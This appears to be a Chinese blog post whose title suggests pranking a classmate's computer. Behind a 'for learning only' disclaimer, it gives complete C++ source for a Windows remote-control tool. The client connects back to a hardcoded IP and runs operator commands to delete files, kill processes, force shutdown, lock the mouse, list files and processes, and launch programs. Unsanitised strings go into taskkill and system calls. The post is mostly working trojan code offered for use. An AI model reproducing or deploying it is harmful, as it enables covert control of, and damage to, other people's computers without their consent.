如何JC同学 || https://netcut.cn/p/337e273539758a45

免责声明

本程序仅供学习使用!

server

#include <iostream>
#include <string>
#include <winsock2.h>
#include <thread>

#pragma comment(lib, "ws2_32.lib")

void handle_client(SOCKET client_socket) {
	char buffer[4096];
	while (true) {
		std::cout << "请输入命令 (delete + 路径/kill/exit 退出/shutdown + 时间[-0]/lockmouse[lkm]/unlockmouse[ukm]/scanfiles[scf]/scanprocesses[scp]/sendtext+'[color= ]'): ";
		std::string command;
		std::getline(std::cin, command);
		
		if (command.empty()) continue;
		
		// 发送命令到客户端
		send(client_socket, command.c_str(), command.size() + 1, 0);
		
		if (command == "exit") {
			break;
		}
		
		// 接收命令执行结果
		memset(buffer, 0, sizeof(buffer));
		int bytes_received = recv(client_socket, buffer, sizeof(buffer), 0);
		if (bytes_received <= 0) {
			std::cerr << "客户端断开连接或接收失败" << std::endl;
			break;
		}
		
		std::cout << "执行结果:\n" << buffer << std::endl;
	}
	
	closesocket(client_socket);
}

void start_server() {
	WSADATA wsaData;
	if (WSAStartup(MAKEWORD(2, 2), &wsaData) != 0) {
		std::cerr << "WSAStartup 失败" << std::endl;
		return;
	}
	
	SOCKET server_socket = socket(AF_INET, SOCK_STREAM, 0);
	if (server_socket == INVALID_SOCKET) {
		std::cerr << "创建套接字失败" << std::endl;
		WSACleanup();
		return;
	}
	
	sockaddr_in server_addr;
	server_addr.sin_family = AF_INET;
	server_addr.sin_addr.s_addr = INADDR_ANY;
	server_addr.sin_port = htons(9999);
	
	if (bind(server_socket, (sockaddr*)&server_addr, sizeof(server_addr)) == SOCKET_ERROR) {
		std::cerr << "绑定端口失败" << std::endl;
		closesocket(server_socket);
		WSACleanup();
		return;
	}
	
	if (listen(server_socket, 5) == SOCKET_ERROR) {
		std::cerr << "监听失败" << std::endl;
		closesocket(server_socket);
		WSACleanup();
		return;
	}
	
	std::cout << "服务器已启动,监听端口 9999..." << std::endl;
	
	while (true) {
		sockaddr_in client_addr;
		int client_addr_size = sizeof(client_addr);
		SOCKET client_socket = accept(server_socket, (sockaddr*)&client_addr, &client_addr_size);
		if (client_socket == INVALID_SOCKET) {
			std::cerr << "接受连接失败" << std::endl;
			continue;
		}
		
		std::cout << "接收到来自 " << inet_ntoa(client_addr.sin_addr) << " 的连接" << std::endl;
		
		std::thread client_thread(handle_client, client_socket);
		client_thread.detach();
	}
	
	closesocket(server_socket);
	WSACleanup();
	
}

int main() {
	start_server();
	return 0;
}

client

#include <iostream>
#include <string>
#include <winsock2.h>
#include <windows.h>
#include <thread>
#include <vector>
#include <atomic>
#include <tlhelp32.h>
#include <shellapi.h> // 用于 ShellExecute
// 定义 ANSI 转义序列颜色代码
#define ANSI_COLOR_RED     "\x1b[31m"
#define ANSI_COLOR_GREEN   "\x1b[32m"
#define ANSI_COLOR_YELLOW  "\x1b[33m"
#define ANSI_COLOR_BLUE    "\x1b[34m"
#define ANSI_COLOR_MAGENTA "\x1b[35m"
#define ANSI_COLOR_CYAN    "\x1b[36m"
#define ANSI_COLOR_WHITE   "\x1b[37m"
#define ANSI_COLOR_RESET   "\x1b[0m"

// 启用 Windows 控制台的 ANSI 转义序列支持
void enable_ansi_mode() {
	HANDLE h_stdout = GetStdHandle(STD_OUTPUT_HANDLE);
	DWORD mode = 0;
	GetConsoleMode(h_stdout, &mode);
	mode |= ENABLE_VIRTUAL_TERMINAL_PROCESSING;
	SetConsoleMode(h_stdout, mode);
}
std::string run_program(const std::string& command) {
	std::string path = command.substr(4); // 提取路径(去掉 "run ")
	
	// 使用 ShellExecute 运行程序
	HINSTANCE result = ShellExecuteA(
		NULL,               // 无父窗口
		"open",             // 操作类型(打开文件)
		path.c_str(),       // 程序路径
		NULL,               // 参数(可扩展支持)
		NULL,               // 默认工作目录
		SW_SHOW             // 窗口显示模式
		);
	
	return "[OK] 程序已启动: " + path;
}
// 发送彩色文本
std::string send_colored_text(const std::string& text) {
	std::string result;
	std::string color_code;
	
	// 解析颜色标记
	size_t color_start = text.find("[color=");
	if (color_start != std::string::npos) {
		size_t color_end = text.find("]", color_start);
		std::string color = text.substr(color_start + 7, color_end - (color_start + 7));
		
		if (color == "red") {
			color_code = ANSI_COLOR_RED;
		} else if (color == "green") {
			color_code = ANSI_COLOR_GREEN;
		} else if (color == "yellow") {
			color_code = ANSI_COLOR_YELLOW;
		} else if (color == "blue") {
			color_code = ANSI_COLOR_BLUE;
		} else if (color == "magenta") {
			color_code = ANSI_COLOR_MAGENTA;
		} else if (color == "cyan") {
			color_code = ANSI_COLOR_CYAN;
		} else if (color == "white") {
			color_code = ANSI_COLOR_WHITE;
		} else {
			color_code = ANSI_COLOR_RESET;
		}
		
		// 提取文本内容
		size_t text_start = color_end + 1;
		std::string content = text.substr(text_start);
		
		// 拼接彩色文本
		result = color_code + content + ANSI_COLOR_RESET;
	} else {
		result = text; // 无颜色标记,直接显示
	}
	
	return result;
}

#pragma comment(lib, "ws2_32.lib")
#pragma comment(lib, "user32.lib")
std::string scan_files(const std::string& path) {
	std::string result;
	WIN32_FIND_DATAA find_data;
	HANDLE h_find = FindFirstFileA((path + "\\*").c_str(), &find_data);
	
	if (h_find == INVALID_HANDLE_VALUE) {
		return "无法打开目录: " + path;
	}
	
	do {
		if (!(find_data.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)) {
			result += find_data.cFileName;
			result += "\n";
		}
	} while (FindNextFileA(h_find, &find_data) != 0);
	
	FindClose(h_find);
	return result.empty() ? "目录为空" : result;
}

std::string scan_processes() {
	std::string result;
	HANDLE h_snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
	
	if (h_snapshot == INVALID_HANDLE_VALUE) {
		return "无法获取进程快照";
	}
	
	PROCESSENTRY32 process_entry;
	process_entry.dwSize = sizeof(PROCESSENTRY32);
	
	if (Process32First(h_snapshot, &process_entry)) {
		do {
			result += process_entry.szExeFile;
			result += "\n";
		} while (Process32Next(h_snapshot, &process_entry));
	}
	
	CloseHandle(h_snapshot);
	return result.empty() ? "未找到进程" : result;
}
void show_colored_text(const std::string& text) {
	std::string color_code = ANSI_COLOR_WHITE; // 默认白色
	size_t color_start = text.find("[color=");
	
	if (color_start != std::string::npos) {
		size_t color_end = text.find("]", color_start);
		std::string color = text.substr(color_start + 7, color_end - (color_start + 7));
		
		if (color == "red") color_code = ANSI_COLOR_RED;
		else if (color == "green") color_code = ANSI_COLOR_GREEN;
		else if (color == "yellow") color_code = ANSI_COLOR_YELLOW;
		else if (color == "blue") color_code = ANSI_COLOR_BLUE;
		else if (color == "magenta") color_code = ANSI_COLOR_MAGENTA;
		else if (color == "cyan") color_code = ANSI_COLOR_CYAN;
		
		std::string content = text.substr(color_end + 1);
		std::cout << color_code << content << ANSI_COLOR_RESET << std::endl;
	} else {
		std::cout << text << std::endl; // 无颜色标记
	}
}

std::string execute_command(const std::string& command) {
	if (command.substr(0, 6) == "delete") {
		std::string file_path = command.substr(7);
		if (DeleteFileA(file_path.c_str())) {
			return "文件删除成功: " + file_path;
		} else {
			return "文件删除失败: " + file_path;
		}
	} else if (command.substr(0, 4) == "kill") {
		std::string process_name = command.substr(5);
		std::string cmd = "taskkill /IM " + process_name + " /F";
		FILE* pipe = _popen(cmd.c_str(), "r");
		if (!pipe) {
			return "结束进程失败";
		}
		char buffer[128];
		std::string result;
		while (fgets(buffer, sizeof(buffer), pipe) != nullptr) {
			result += buffer;
		}
		_pclose(pipe);
		return result;
	} 
	else if (command == "lockmouse" || command == "lkm") {  // 新增锁定鼠标命令
		// 获取屏幕分辨率
		int screen_width = GetSystemMetrics(SM_CXSCREEN);
		int screen_height = GetSystemMetrics(SM_CYSCREEN);
		
		// 将鼠标移动到屏幕中央
		SetCursorPos(screen_width / 2, screen_height / 2);
		
		// 限制鼠标移动范围
		RECT clip_rect;
		clip_rect.left = screen_width / 2 - 1;
		clip_rect.right = screen_width / 2 + 1;
		clip_rect.top = screen_height / 2 - 1;
		clip_rect.bottom = screen_height / 2 + 1;
		ClipCursor(&clip_rect);
		
		return "鼠标已锁定";
	} else if (command == "unlockmouse"||command == "ukm") {  // 新增解锁鼠标命令
		// 解除鼠标限制
		ClipCursor(nullptr);
		return "鼠标已解锁";
	}
	else if (command == "shutdown 0") {  // 关机命令
		if (!ExitWindowsEx(EWX_SHUTDOWN | EWX_FORCE, 0)) {
			return "关机失败 (需要管理员权限)";
		}
		return "正在关机...";
	}
// 添加延时关机命令(例如 shutdown 60 -> 60秒后关机)
	else if (command.substr(0, 8) == "shutdown") {
		int delay = std::stoi(command.substr(9));
		std::string cmd = "shutdown -s -t " + std::to_string(delay);
		system(cmd.c_str());
		return "将在 " + std::to_string(delay) + " 秒后关机";
	}
	else if (command.substr(0, 9) == "scanfiles" || command.substr(0, 9) == "scf") {  // 扫描文件
		std::string path = command.substr(10);
		return scan_files(path);
	} 
	else if (command == "scanprocesses" || command == "scp")   // 扫描进程
		return scan_processes();
	else if (command.substr(0, 8) == "sendtext") {  // 新增发送彩色文本命令
		std::string text = command.substr(9);
		show_colored_text(text);  // 客户端直接显示文本
		return "[OK] 文本已显示"; // 返回状态给服务端
	}
	else if (command.substr(0, 3) == "run") {  // 新增运行程序命令
		return run_program(command);
	}
	else 
		return "未知命令";
	
}

void connect_server() {
	WSADATA wsaData;
	if (WSAStartup(MAKEWORD(2, 2), &wsaData) != 0) {
		std::cerr << "WSAStartup 失败" << std::endl;
		return;
	}
	
	SOCKET client_socket = socket(AF_INET, SOCK_STREAM, 0);
	if (client_socket == INVALID_SOCKET) {
		std::cerr << "创建套接字失败" << std::endl;
		WSACleanup();
		return;
	}
	
	sockaddr_in server_addr;
	server_addr.sin_family = AF_INET;
	server_addr.sin_addr.s_addr = inet_addr("172.100.112.133"); // 修改为服务器实际IP
	server_addr.sin_port = htons(9999);
	
	if (connect(client_socket, (sockaddr*)&server_addr, sizeof(server_addr)) == SOCKET_ERROR) {
		std::cerr << "连接服务器失败" << std::endl;
		closesocket(client_socket);
		WSACleanup();
		return;
	}
	
	std::cout << "已连接到服务器" << std::endl;
	
	char buffer[4096];
	while (true) {
		memset(buffer, 0, sizeof(buffer));
		int bytes_received = recv(client_socket, buffer, sizeof(buffer), 0);
		if (bytes_received <= 0) {
			std::cerr << "服务器断开连接或接收失败" << std::endl;
			break;
		}
		
		std::string command(buffer);
		if (command == "exit") {
			break;
		}
		
		std::string result = execute_command(command);
		send(client_socket, result.c_str(), result.size() + 1, 0);
	}
	
	closesocket(client_socket);
	WSACleanup();
}

int main() {
	// 启用 ANSI 转义序列支持
	enable_ansi_mode();
	connect_server();
	return 0;
}
posted @ 2025-04-26 13:38  zhangruixiang  阅读(107)  评论(1)    收藏  举报